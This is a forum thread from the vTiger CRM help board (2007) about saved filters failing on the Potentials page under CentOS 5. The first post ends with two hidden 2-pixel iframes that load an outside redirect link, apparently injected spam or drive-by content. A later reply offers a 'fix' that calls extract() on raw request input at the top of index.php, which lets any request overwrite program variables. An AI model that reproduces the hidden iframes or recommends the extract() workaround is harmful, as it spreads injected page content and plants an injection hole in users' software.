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Filters not working??

Faraday GFaraday G
edited June 2007 in Help - 5.0.3 Vote Up0Vote Down
Using CentOS5. Apache user owns VTiger folder with r-rw-x allowed.

It works beautifully....except for one part.

Most of the time when I am logged in, I live on the Potentials page, as I work as a Client Relations Manager, so all I do all day is follow up jobs and talk to companies about new jobs.

Well Vtiger has this annoying thing where it keeps potentials as potentials, even if its won or lost and no longer a potential.

This is ok though, as I can make a filter and set it to default to only show potential that arent won or lost.

I wish!!

It doesnt seem to work. I start creating the filter, then save it. After its saved I try to use it but nothing comes up. I go to edit the filter and all the info boxes are blank, even the ones that had default info in them.

Any ideas guys? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 10 Comments sorted by Votes Date Added
  • Faraday GFaraday G
    Vote Up0Vote Down
    still no word on this?
  • cgaskinscgaskins
    Vote Up0Vote Down
    same here. i am having the exact same problem. any news?
  • Faraday GFaraday G
    Vote Up0Vote Down
    *bump*
  • LizaLiza
    Vote Up0Vote Down
    dear faraday,
    let you know what i have tested to reproduce the issue in our online demo (http://en.vtiger.com)
    * first i have created a filter for potential named as stage .
    * in that i have selected potential name,account name,expected close date,assigned to and sales stage columns.
    * then in advanced filter i have specified the condition like sales stage not equal to closed won & sales stage not equal to closed lost .

    but i could not reproduce it. let me know if i missed anything to reproduce the issue.

    thanks & regards,
    liza.
  • Faraday GFaraday G
    Vote Up0Vote Down
    are you using centos 5? test it with that distro and we will know.

    i havent tried any other distro as i believe that centoc 5 is a damn high quality distro being that it is piggy backed off of a commercial version of linux. not only that, but updates for several years, versus some distros that only last a year or so before an update changes everything.

    i dont think its purely a probllem with vtiger, on the contrary, the latest version of vtiger is awesome. but for the program to break with such a small difference to other distros might mean that there are too many dependencies for one program to have.
  • Faraday GFaraday G
    Vote Up0Vote Down
    if anyone can get this working with centos5, please let me know. at least then i know that i have not done something correclty (even though i folowed the install tutorial).
  • nigel_rnigel_r
    Vote Up0Vote Down
    hi,

    i managed to talk our php programmer into looking at this yesterday, and was advised that the issue appears to be caused by depreciated code being used to post the filter field input back to the database.

    a quick 'n' dirty fix is to add the following 4 lines at the top of /var/www/html/index.php after the <?php line

    extract($_post);
    extract($_get);
    extract($_request);
    $http_post_vars = $_post;

    please note i have only tested this with my own issue in the reporting module. ( see <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=14886">http://forums.vtiger.com/viewtopic.php?t=14886</a><!-- m --> ) please check against your own issues as i would be interested to know if this works globally.

    attached for reference is my phpinfo output for version info, as i guess this will start to catch more people soon.



    nigel
  • etienne.jodoinetienne.jodoin
    Vote Up0Vote Down
    by the way, i just found a bug for the filters in accounts. they seems to have change the listview query in a way that i don't understand.

    you can see the bug in the demo site. if you login as a sales manager or another user that is not an admin, if you check the list of the accounts, you will notice that the account name is not present anymore.

    to do this, i simply remove the field "member of" which can be use to assigned another account to a current account.

    i check the code and they seems to replace the "account_name" by "account_id". however, "account_id" fieldname is only present on account for the field "member of" ...
  • Faraday GFaraday G
    Vote Up0Vote Down
    that worked better than i could have imagined. i mean, a 2 minute fix that solved everything.

    i basically added a filter called "current potentials" and filtered out anything marked "closed won" or "closed lost"

    worked like a charm. cant thank you enough nigel_r

    seems like the vtiger team might need more people actually designing the program. they have plenty of people weeding out the faults. this was supposed to be the big bug free version. oh well, still an improvement over the last version. just wish they were like everyone one else and list the distros that the program has been tested on. they way they could actually get it working perfectly.

    biggest problem they have now is that they have got set distros to test with. choose 4 of the biggest distros guys and make it work perfectl on them.
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